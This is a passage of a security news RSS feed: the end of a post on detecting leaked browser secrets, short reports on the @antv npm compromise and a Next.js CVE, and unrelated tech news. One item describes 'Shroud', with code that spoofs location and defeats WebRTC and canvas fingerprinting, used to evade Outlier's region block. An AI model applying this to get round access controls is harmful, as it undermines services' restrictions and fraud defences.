non-trivial SPA, that is a multi-quarter project that cuts across frontend, backend, identity, and infrastructure teams. During that migration, the credential remains in the browser. Detection layers below carry the load until the structural fix lands.</p><p><strong>[2] Secrets manager and short-lived tokens.</strong> Azure Key Vault, AWS Secrets Manager, HashiCorp Vault. The BFF reads the credential at runtime, mints short-lived scope-limited tokens for downstream calls, and never embeds long-lived secrets anywhere a client can reach. A short-lived token leaked from a browser still leaks, but the blast radius is bounded by the token’s expiry and scope rather than by the lifespan of a hardcoded client secret.</p><h4><strong>Detection:</strong></h4><p><strong>[3] Artifact scanning between build and deploy.</strong> A CI/CD job that scans dist/ output after the bundler runs but before the artifact ships. Catches credentials that build-time injection inlines into the bundle and never touches the repository. Most pipelines have stage-1 source scanning but stop short of stage-2 artifact scanning. Adding it is a CI/CD job, not a project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hcnf5azzxHO8ML-sianW6A.png"><figcaption><em>CI/CD pipeline with artifact-scan stage</em></figcaption></figure><p><strong>[4] Runtime secret scanning.</strong> Passive observation of served traffic. The only layer that catches lazy-loaded chunks, SSR state, runtime-fetched config, and credentials in response headers. These materialize only during execution and cannot be predicted from static source files.</p><p>Layers 1 and 2 remove the credential from the surface. Layers 3 and 4 catch what slips through. Start all four at once rather than waiting for prevention to land first: Layers 3 and 4 can ship in days, Layer 2 in weeks, and Layer 1 in quarters. The detection layers are what protect you while the prevention layers are being built. Most organizations today run Layer 1 partially, skip Layers 2 and 3 entirely, and have no answer for Layer 4.</p><h3>Closing the Runtime Gap</h3><p>I’m continuing the work on the layer-4 side with <strong>SecretSifter</strong>, an open-source passive runtime secret scanner that reads HTTP traffic for the credentials shift-left tools cannot see. It ships as a Burp Suite extension, a browser extension, and a desktop application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*rKJu8s4h6EZx9yHt1FZP0g.png"><figcaption><em>SecretSifter findings panel</em></figcaption></figure><ul><li><a href="https://github.com/secretsifter/secretsifter-burp">github.com/secretsifter/secretsifter-burp</a></li><li><a href="https://github.com/secretsifter/secretsifter-extension">github.com/secretsifter/secretsifter-extension</a></li><li><a href="https://github.com/secretsifter/secretsifter-desktop">github.com/secretsifter/secretsifter-desktop</a></li></ul><h3>Try the Walk-Through Yourself</h3><p>The screenshots and chains in this post are reproducible end-to-end against <strong>InsecureShield</strong>, an intentionally vulnerable insurance portal published at <a href="https://github.com/secretsifter/insecureshield-demo">github.com/secretsifter/insecureshield-demo</a>. Every credential, endpoint, and response in the screenshots above comes from that public demo. The credentials are synthetic and have been auth-tested against their real providers as non-functional.</p><p>A step-by-step walk-through, with both chains worked from view-source through token mint to data exfiltration, lives in the repository at <a href="https://raw.githack.com/secretsifter/insecureshield-demo/main/docs/reproduction-guide.html">docs/reproduction-guide.html</a>.</p><pre>git clone https://github.com/secretsifter/insecureshield-demo<br>cd insecureshield-demo<br>npm install<br>npm start</pre><h3>About the Author</h3><p><strong>Hemanth Gorijala</strong> is an application security practitioner and penetration tester. He conducts web application security assessments, reviews vulnerability reports in enterprise bug bounty programs, and maintains <em>SecretSifter</em>, a free, open-source runtime secret detection tool.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=28b0c6aa1aa4" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/secrets-that-survive-everything-28b0c6aa1aa4">Secrets That Survive Everything</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Compromise @antv Packages in Mini Shai-Hulud npm Attack Wave]]></title>
<description><![CDATA[A sweeping supply chain attack has hit the npm ecosystem, compromising hundreds of widely used JavaScript packages tied to the @antv data visualization library. The attack, which unfolded in the early hours of May 19, 2026, injected malicious code into packages used by millions of developers worl...]]></description>
<link>https://tsecurity.de/de/3528490/it-security-nachrichten/hackers-compromise-antv-packages-in-mini-shai-hulud-npm-attack-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528490/it-security-nachrichten/hackers-compromise-antv-packages-in-mini-shai-hulud-npm-attack-wave/</guid>
<pubDate>Tue, 19 May 2026 11:22:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A sweeping supply chain attack has hit the npm ecosystem, compromising hundreds of widely used JavaScript packages tied to the @antv data visualization library. The attack, which unfolded in the early hours of May 19, 2026, injected malicious code into packages used by millions of developers worldwide. Among the affected packages is echarts-for-react, a popular […]</p>
<p>The post <a href="https://cybersecuritynews.com/hackers-compromise-antv-packages/">Hackers Compromise @antv Packages in Mini Shai-Hulud npm Attack Wave</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Compromise @antv npm Packages In Mini Shai-Hulud Attack Wave]]></title>
<description><![CDATA[The npm ecosystem is currently facing a massive supply chain attack targeting the popular @antv packages and related projects. Researchers at Socket have identified a highlycoordinated malicious publish wave tied to the Mini Shai-Hulud threat actor. By compromising a key maintainer account named ...]]></description>
<link>https://tsecurity.de/de/3528158/it-security-nachrichten/hackers-compromise-antv-npm-packages-in-mini-shai-hulud-attack-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528158/it-security-nachrichten/hackers-compromise-antv-npm-packages-in-mini-shai-hulud-attack-wave/</guid>
<pubDate>Tue, 19 May 2026 09:38:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The npm ecosystem is currently facing a massive supply chain attack targeting the popular @antv packages and related projects. Researchers at Socket have identified a highlycoordinated malicious publish wave tied to the Mini Shai-Hulud threat actor. By compromising a key maintainer account named atool, attackers successfully injected malware into widely used data visualization and React […]</p>
<p>The post <a href="https://cyberpress.org/hackers-hijack-antv-packages/">Hackers Compromise @antv npm Packages In Mini Shai-Hulud Attack Wave</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mini Shai-Hulud Pushes Malicious AntV npm Packages via Compromised Maintainer Account]]></title>
<description><![CDATA[Cybersecurity researchers have discovered a fresh software supply chain attack campaign that has compromised various npm packages associated with the @antv ecosystem as part of the ongoing Mini Shai-Hulud attack wave.

"The attack affects packages tied to the npm maintainer account atool, includi...]]></description>
<link>https://tsecurity.de/de/3527915/it-security-nachrichten/mini-shai-hulud-pushes-malicious-antv-npm-packages-via-compromised-maintainer-account/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527915/it-security-nachrichten/mini-shai-hulud-pushes-malicious-antv-npm-packages-via-compromised-maintainer-account/</guid>
<pubDate>Tue, 19 May 2026 07:37:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity researchers have discovered a fresh software supply chain attack campaign that has compromised various npm packages associated with the @antv ecosystem as part of the ongoing Mini Shai-Hulud attack wave.

"The attack affects packages tied to the npm maintainer account atool, including echarts-for-react, a widely used React wrapper for Apache ECharts with roughly 1.1 million weekly]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Watch Ultra 4 Leak Reveals New Blood Pressure Feature and Full Redesign]]></title>
<description><![CDATA[Apple’s next high-end smartwatch is starting to take shape, and the latest report points to the biggest Apple Watch Ultra upgrade since the product first launched. The Apple Watch Ultra 4 is now expected to arrive with a “full redesign” alongside major improvements to its health tracking system, ...]]></description>
<link>https://tsecurity.de/de/3526942/ios-mac-os/apple-watch-ultra-4-leak-reveals-new-blood-pressure-feature-and-full-redesign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3526942/ios-mac-os/apple-watch-ultra-4-leak-reveals-new-blood-pressure-feature-and-full-redesign/</guid>
<pubDate>Mon, 18 May 2026 19:39:09 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s next high-end smartwatch is starting to take shape, and the latest report points to the biggest Apple Watch Ultra upgrade since the product first launched. The Apple Watch Ultra 4 is now expected to arrive with a “full redesign” alongside major improvements to its health tracking system, which signals a much larger update than the yearly refresh most users expected.



Digitimes previously reported that Apple was planning design “alterations,” improved efficiency, and a larger sensor system for the new model. The latest update now describes those changes in much stronger terms, repeatedly using phrases like “major redesign” and “significant upgrade to sensing functions.”



According to the report:




“Market expectations are that the 2H26 high-end Apple Watch refresh will bring a significant upgrade to sensing functions alongside a full redesign.”




The report also states that Taiwan-Asia Semiconductor, also known as TASC, will remain Apple’s exclusive sensor supplier and is expected to benefit heavily from the new watch due to large-volume orders beginning as early as July.



Apple Watch Ultra 4 could bring improved blood pressure monitoring



One of the most important upgrades reportedly coming to Apple Watch Ultra 4 involves blood pressure tracking. The feature reportedly uses the optical heart-rate sensor to analyze how blood vessels react to each heartbeat before sending alerts if it detects abnormal patterns.



The report says the feature is currently under FDA review, which suggests Apple is aiming for a more advanced and clinically reliable implementation than the Hypertension Notifications feature introduced with watchOS 26.



Earlier reports also mentioned exterior design changes, including a ring-like arrangement with eight sensors on the back of the device. That aligns closely with the latest claims about upgraded sensing hardware and a “full redesign.”



The Apple Watch Ultra 4 is expected to launch alongside the Apple Watch Series 12 and Apple’s rumored foldable iPhone Ultra later this fall. Apple is also reportedly expanding its Ultra branding across more products, including future MacBook and AirPods models.]]></content:encoded>
</item>
<item>
<title><![CDATA[Steven Soderbergh Defends AI Use in His New Documentary about John Lennon]]></title>
<description><![CDATA[John Lennon's last interview — just hours before he was shot on December 8, 1980 — has become a documentary directed by Steven Soderbergh, debuting Saturday at the Cannes Film Festival. 

In a new interview with the Associated Press, Soderbergh defends the film's limited use of AI to visualize co...]]></description>
<link>https://tsecurity.de/de/3525843/it-security-nachrichten/steven-soderbergh-defends-ai-use-in-his-new-documentary-about-john-lennon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525843/it-security-nachrichten/steven-soderbergh-defends-ai-use-in-his-new-documentary-about-john-lennon/</guid>
<pubDate>Mon, 18 May 2026 13:52:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[John Lennon's last interview — just hours before he was shot on December 8, 1980 — has become a documentary directed by Steven Soderbergh, debuting Saturday at the Cannes Film Festival. 

In a new interview with the Associated Press, Soderbergh defends the film's limited use of AI to visualize concepts from that two-hour interview with John Lennon and Yoko Ono:

Soderbergh was resolved to let the audio play. He could finds ways to visualize much of the film, but that still left a large gap where the conversation grows more philosophical. "I worked on everything that could be solved except that for as long as I could," Soderbergh says. "Then there was the inevitable moment of: OK, but really what are we going to do? We just started playing and ran out of time and money. That's where the Meta piece came in." Soderbergh accepted an offer to use Meta's artificial intelligence software to conjure surreal imagery for those sections, which make up about 10% of the film. 

When Soderbergh let the news out earlier this year, it prompted an uproar. One of America's leading filmmakers was using AI? In a film about a Beatle, no less? The AI parts (overwhelmingly slammed by critics in Cannes) are fairly banal and don't differ greatly from special effects — there are no deepfakes of Lennon. But they put Soderberg at the forefront of an industrywide debate about the uses of AI in moviemaking. It's a conversation the director, who has made movies on iPhones, is eager to have.
 
While the film follows John and Yoko's conversation, "I needed a way to follow them in flight visually," Soderbergh says, "or I'm not doing my job." Though when asked about the strong negative reaction, Soderbergh acknowleges that "I knew what was coming. I take it very seriously, and I understand why people have an emotional response to this subject. As I've said before, I feel like I owe people the best version of whatever art I'm trying to make and total transparency about how I'm doing it." 
AP: Some fear generative AI will tear apart the film industry. You don't see it as a bogeyman, though. 
SODERBERGH: I think most jobs that matter when you're making a movie cannot be performed by this tech and never will be performed by this tech. As it becomes possible for anybody to create something that meets a certain standard of technical perfection, then imperfection becomes more valuable and more interesting. We haven't seen yet someone with a certain amount of creative credibility go full-metal AI on something, and see how people react. I think it's necessary. How do you know where the line is until somebody crosses it? 
"I don't think what I'm doing crosses it. Some people may disagree. I don't know where my line is yet. I'm waiting to see...<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Steven+Soderbergh+Defends+AI+Use+in+His+New+Documentary+about+John+Lennon%3A+https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F05%2F18%2F0215200%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F05%2F18%2F0215200%2Fsteven-soderbergh-defends-ai-use-in-his-new-documentary-about-john-lennon%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://entertainment.slashdot.org/story/26/05/18/0215200/steven-soderbergh-defends-ai-use-in-his-new-documentary-about-john-lennon?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dubai Police Warns Against Viral Energy Drink Videos Targeting Children on Social Media]]></title>
<description><![CDATA[Dubai Police has issued a public warning about the growing spread of viral energy drink videos on social media platforms that encourage excessive consumption, particularly among children and teenagers. Authorities said many of these videos are designed solely to attract views and engagement while...]]></description>
<link>https://tsecurity.de/de/3525660/it-security-nachrichten/dubai-police-warns-against-viral-energy-drink-videos-targeting-children-on-social-media/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525660/it-security-nachrichten/dubai-police-warns-against-viral-energy-drink-videos-targeting-children-on-social-media/</guid>
<pubDate>Mon, 18 May 2026 12:53:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Viral Energy Drink Videos" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos.webp 1376w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-1024x572.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-768x429.webp 768w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-750x419.webp 750w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-1140x636.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos.webp 1376w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-1024x572.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-768x429.webp 768w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-750x419.webp 750w, https://thecyberexpress.com/wp-content/uploads/Viral-Energy-Drink-Videos-1140x636.webp 1140w" sizes="(max-width: 1376px) 100vw, 1376px" title="Dubai Police Warns Against Viral Energy Drink Videos Targeting Children on Social Media 1"></p>Dubai Police has issued a public warning about the growing spread of viral energy drink videos on social media platforms that encourage excessive consumption, particularly among children and teenagers. Authorities said many of these videos are designed solely to attract views and engagement while ignoring the serious health risks linked to overconsumption of energy drinks.

The warning was issued by the Cybercrime Department under the General Department of Criminal Investigation at Dubai Police, which urged parents to closely monitor the type of <a href="https://thecyberexpress.com/ncmec-explicit-online-content-of-children/" target="_blank" rel="noopener">online content</a> their children are exposed to and educate them about the dangers of blindly imitating viral internet trends.

According to Dubai Police, the increasing popularity of online challenges and influencer-driven content has made harmful behavior appear entertaining or harmless to young audiences. Officials stressed that some creators prioritize social media reach over public safety, exposing children to risky habits without discussing potential consequences.

[caption id="attachment_112092" align="aligncenter" width="1024"]<img class="size-large wp-image-112092" src="https://thecyberexpress.com/wp-content/uploads/Dubai-Police-Warns-Against-Viral-Energy-Drink-Videos-1024x576.webp" alt="Energy Drink Videos" width="1024" height="576"> Source: Dubai Police[/caption]
<h2><strong>Energy Drink Videos Raise Serious Health Concerns</strong></h2>
Dubai Police <a href="https://www.dubaipolice.gov.ae/app/home/media/news/news-details?id=a0p0gr951dnt3dy885n00ow1" target="_blank" rel="nofollow noopener">highlighted</a> that excessive intake of energy drinks can lead to severe medical complications. Authorities warned that consuming high quantities of caffeine and stimulant-based beverages may cause heart rhythm disorders, convulsions, loss of consciousness, and in extreme cases, sudden cardiac arrest.

Children and adolescents are considered particularly vulnerable to these effects because their bodies may react more strongly to stimulant ingredients commonly found in energy drinks.

The police also noted that overconsumption can trigger a wide range of additional health issues, including poisoning, stomach disorders, anxiety, irritability, poor concentration, memory problems, sleep disturbances, high blood pressure, and rapid heartbeat.

Officials said the concern is not limited to physical health alone. Repeated exposure to viral energy drink videos can normalize dangerous behavior among younger audiences who often attempt to replicate online trends without understanding the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="28276">risks</a> involved.
<h2><strong>Dubai Police Urges Parents to Monitor Online Content</strong></h2>
As part of the advisory, Dubai Police encouraged parents and guardians to maintain active supervision of the digital content consumed by children. Authorities emphasized the importance of discussing online safety and helping children identify misleading or harmful trends circulating on social media platforms.

The force urged families to explain that not all viral content is trustworthy or safe, especially when it promotes unhealthy or dangerous actions for entertainment purposes.

Dubai Police also advised the public to rely on verified medical and health sources for information regarding food, beverages, and wellness-related trends instead of depending on influencer content or unverified social media posts.

The warning reflects broader concerns among authorities globally about how social media algorithms can rapidly amplify risky trends, especially among younger users who are highly engaged with short-form video platforms.
<h2><strong>Public Asked to Report Harmful Online Content</strong></h2>
Dubai Police called on community members to report any digital content that promotes dangerous behavior or threatens public safety. Authorities said reports can be submitted through the Dubai Police smart application, the dedicated E-Crime platform, or by contacting the non-emergency helpline at 901.

Officials stressed that public reporting plays an important role in limiting the spread of harmful online material and protecting vulnerable groups from unsafe <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-internet/" title="internet" data-wpil-keyword-link="linked" data-wpil-monitor-id="28277">internet</a> trends.

The department also reminded social media users to think critically before participating in online challenges or consuming products promoted through viral content.
<h2><strong>Dubai Police Expands Cyber Awareness Efforts</strong></h2>
Alongside the warning, <a href="https://thecyberexpress.com/operation-tri-force-sentinel/" target="_blank" rel="noopener">Dubai Police</a> highlighted its ongoing efforts to improve public awareness around <a href="https://thecyberexpress.com/weekly-roundup-tce-cybersecurity/" target="_blank" rel="noopener">cyber safety</a> and digital risks through its awareness e-platform.

The online platform provides educational material in both Arabic and English and covers various topics related to <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/" target="_blank" rel="noopener" title="cybercrime" data-wpil-keyword-link="linked" data-wpil-monitor-id="28275">cybercrime</a> prevention, online fraud awareness, digital safety, and safe internet usage.

According to Dubai Police, the platform is designed for all sections of society, including parents, children, employees, business owners, and regular internet users.

Authorities said the initiative aims to help residents recognize online manipulation tactics, avoid cyber-related threats, and make safer decisions while using <a href="https://thecyberexpress.com/social-media-flooded-with-ghibli-ai-images/" target="_blank" rel="noopener">social media</a> and digital platforms.

The latest advisory on viral energy drink videos adds to growing efforts by law enforcement and public health authorities to address the real-world risks created by harmful social media trends targeting younger audiences.]]></content:encoded>
</item>
<item>
<title><![CDATA[I Got Blocked by Outlier Twice. The Second Time I Had Built My Own Browser.]]></title>
<description><![CDATA[Last year I was doing a security assessment on a target in East Africa. I was in Lagos. The system I needed to test was region-locked, so I spent two hours trying to configure a proxy to look like I was browsing from Nairobi. SOCKS5, HTTP tunnels, Burp upstream proxy settings — nothing worked cle...]]></description>
<link>https://tsecurity.de/de/3525602/hacking/i-got-blocked-by-outlier-twice-the-second-time-i-had-built-my-own-browser/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525602/hacking/i-got-blocked-by-outlier-twice-the-second-time-i-had-built-my-own-browser/</guid>
<pubDate>Mon, 18 May 2026 12:23:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="shroud ip test" src="https://cdn-images-1.medium.com/max/1024/1*FIChTkgkLT0lUAvH1jXPmg.png"></figure><p>Last year I was doing a security assessment on a target in East Africa. I was in Lagos. The system I needed to test was region-locked, so I spent two hours trying to configure a proxy to look like I was browsing from Nairobi. SOCKS5, HTTP tunnels, Burp upstream proxy settings — nothing worked cleanly. I eventually outsourced it to a senior colleague and didn’t even ask how he solved it because I was too frustrated.</p><p>A few months later I tried to register on Outlier. Same problem, different direction — Outlier blocks Nigerian IPs. I closed the tab.</p><p>That second block is what started Shroud.</p><h3>The idea</h3><p>I wanted one tool that could answer a single question: <em>what if changing your apparent location was as simple as clicking a country on a map?</em></p><p>No proxy config. No hunting for SOCKS5 servers. No terminal commands. Pick a country, connect, browse. The underlying machinery should be invisible.</p><p>The core insight was that most privacy tools are built for power users. Tor Browser is excellent but gives you no control over exit geography. VPNs are simple but expensive and untrustworthy. Proxy managers are flexible but require setup that breaks under pressure.</p><p>Shroud sits in the middle: real anonymity infrastructure (Tor + residential proxies), wrapped in something a non-technical person can use in 30 seconds.</p><h3>Architecture</h3><p>Shroud is an Electron app. The renderer is React. The routing engine lives in the main process and manages two routing tiers:</p><p><strong>Tier 1 — Dedicated residential proxies</strong> via Webshare’s API. When you pick Germany, Shroud routes through a real residential IP in Germany. These proxies aren’t listed on blocklists because they belong to real ISPs, not datacenters. This is the green layer on the map.</p><p><strong>Tier 2 — Tor exit nodes</strong> for everything else. The app bundles a Tor binary, spawns it on startup, and uses GeoIP files to enforce country-specific exit nodes via ExitNodes {DE} StrictNodes 1 in the torrc. This covers 50+ countries. This is the amber layer.</p><p>The world map itself is pure D3-geo rendering topojson. No map library — just SVG paths projected with geoMercator. Countries are colored at render time based on which routing tier covers them. Click a country in the list on the right, the map highlights it, the panel shows routing details, you connect.</p><pre>// torrc built at runtime per country selection<br>const torrc = `<br>SocksPort 9050<br>ControlPort 9051<br>GeoIPFile ${geoipFile}<br>ExitNodes {${countryCode}}<br>StrictNodes 1<br>`.trim();</pre><p>When you switch countries, Shroud kills the Tor process, rewrites the torrc with the new exit node config, and respawns. It polls port 9050 until Tor bootstraps, then sets the proxy on both the main Electron session and the BrowserView session before allowing navigation.</p><figure><img alt="Shroud map render" src="https://cdn-images-1.medium.com/max/1024/1*0S_3TYiwXel2oWfmZNF8Yg.png"></figure><h3>The leak problem</h3><p>Getting the IP right is the easy part. The hard part is making sure nothing else leaks.</p><p><strong>WebRTC</strong> is the main culprit. It bypasses proxies by design and exposes your real IP through STUN/TURN negotiation. Shroud kills it at the preload level, before any page JavaScript runs:</p><pre>// browserPreload.js — injected before page load<br>const noop = () =&gt; {<br>  throw new DOMException('WebRTC disabled', 'NotSupportedError');<br>};</pre><pre>['RTCPeerConnection', 'webkitRTCPeerConnection', 'mozRTCPeerConnection',<br> 'RTCDataChannel', 'RTCIceCandidate', 'RTCSessionDescription'].forEach(prop =&gt; {<br>  Object.defineProperty(window, prop, {<br>    value: noop,<br>    writable: false,<br>    configurable: false,<br>  });<br>});</pre><p>configurable: false is the key. Without it, page scripts can restore the original constructor and leak your IP anyway.</p><p><strong>Timezone and locale</strong> are the next vectors. A US IP with a Africa/Lagos timezone is a dead giveaway. Shroud overrides Intl.DateTimeFormat to match the target country's timezone, and injects the correct Accept-Language header on every request.</p><p><strong>Canvas fingerprinting</strong> gets noise injection — a single XOR bit flip per 100 pixels. Invisible to the eye, but it changes the canvas hash enough to break cross-session fingerprint tracking.</p><p>The result on browserleaks.com after connecting to US:</p><ul><li>IP: United States ✅</li><li>WebRTC Local IP: n/a ✅</li><li>WebRTC Public IP: n/a ✅</li><li>DNS: Encrypted ✅</li><li>Timezone: America/Detroit ✅</li></ul><h3>Back to Outlier</h3><p>Once the proxy was routing correctly through a US residential IP, I went back to Outlier’s registration page.</p><p>It loaded.</p><p>Full registration flow, no block, no “we can’t serve your location” message. A US residential proxy through Shroud looks indistinguishable from a real US user because it <em>is</em> a real US IP from a real ISP. Tor exit nodes get blocked because they’re publicly listed. Residential proxies don’t.</p><p>That detail matters for anyone doing security assessments on region-locked targets: the routing tier you pick changes what you can access. Shroud makes that choice visible and deliberate.</p><h3>What’s next</h3><p>Shroud is cross-platform. The Electron shell handles Windows, Linux, and macOS. The Tor binary is platform-specific but the rest of the codebase is identical across platforms.</p><p>A few things I want to add:</p><ul><li><strong>Proxy health monitoring</strong> — automatically rotate to a healthy proxy if the current one goes down mid-session</li><li><strong>Custom proxy support</strong> — let users plug in their own SOCKS5 servers for assessments that need specific IPs</li><li><strong>Session isolation</strong> — separate browser contexts per country so history and cookies don’t bleed between sessions</li></ul><p>The code is on GitHub at <a href="https://github.com/userIssa/shroud">github.com/userIssa/shroud</a>.</p><p><em>Tolu Oderinde is a Certified Ethical Hacker and security engineer. He writes about offensive security tooling, heap exploitation, and building things that solve problems he actually ran into.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=4a9040438f4e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-got-blocked-by-outlier-twice-the-second-time-i-had-built-my-own-browser-4a9040438f4e">I Got Blocked by Outlier Twice. The Second Time I Had Built My Own Browser.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Recursive Language Models: An All-in-One Deep Dive]]></title>
<description><![CDATA[Exactly how does it differ from ReAct, CodeAct, Self-Loops, and Subagents?
The post Recursive Language Models: An All-in-One Deep Dive appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3522142/ai-nachrichten/recursive-language-models-an-all-in-one-deep-dive/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3522142/ai-nachrichten/recursive-language-models-an-all-in-one-deep-dive/</guid>
<pubDate>Sat, 16 May 2026 15:03:46 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Exactly how does it differ from ReAct, CodeAct, Self-Loops, and Subagents?</p>
<p>The post <a href="https://towardsdatascience.com/recursive-language-models-one-example-deep-dive-that-explains-everything/">Recursive Language Models: An All-in-One Deep Dive</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Next.js Flaw Exposes Cloud Credentials, API Keys, and Admin Panels]]></title>
<description><![CDATA[A high-severity vulnerability in Next.js, one of the world’s most widely used React frameworks, is putting thousands of organizations at risk of credential theft, API key exposure, and unauthorized access to internal admin panels. Tracked as CVE-2026-44578 with a CVSS score of 8.6, the flaw targe...]]></description>
<link>https://tsecurity.de/de/3519133/it-security-nachrichten/critical-nextjs-flaw-exposes-cloud-credentials-api-keys-and-admin-panels/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3519133/it-security-nachrichten/critical-nextjs-flaw-exposes-cloud-credentials-api-keys-and-admin-panels/</guid>
<pubDate>Fri, 15 May 2026 11:37:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A high-severity vulnerability in Next.js, one of the world’s most widely used React frameworks, is putting thousands of organizations at risk of credential theft, API key exposure, and unauthorized access to internal admin panels. Tracked as CVE-2026-44578 with a CVSS score of 8.6, the flaw targets a critical weakness in how self-hosted Next.js applications handle […]</p>
<p>The post <a href="https://cyberpress.org/next-js-flaw-api-keys-admin-panels/">Critical Next.js Flaw Exposes Cloud Credentials, API Keys, and Admin Panels</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Next.js Security Flaw Leaks Cloud Credentials, API Keys, and Admin Interfaces]]></title>
<description><![CDATA[Next.js, one of the most widely used React frameworks, has been hit by a high-severity vulnerability that could allow attackers to extract sensitive cloud credentials, API keys, and even access internal admin interfaces. The flaw, tracked as CVE-2026-44578, exposes a critical weakness in how cert...]]></description>
<link>https://tsecurity.de/de/3518619/it-security-nachrichten/nextjs-security-flaw-leaks-cloud-credentials-api-keys-and-admin-interfaces/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518619/it-security-nachrichten/nextjs-security-flaw-leaks-cloud-credentials-api-keys-and-admin-interfaces/</guid>
<pubDate>Fri, 15 May 2026 08:37:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Next.js, one of the most widely used React frameworks, has been hit by a high-severity vulnerability that could allow attackers to extract sensitive cloud credentials, API keys, and even access internal admin interfaces. The flaw, tracked as CVE-2026-44578, exposes a critical weakness in how certain server-side deployments handle WebSocket upgrade requests. Next.js Security Flaw The […]</p>
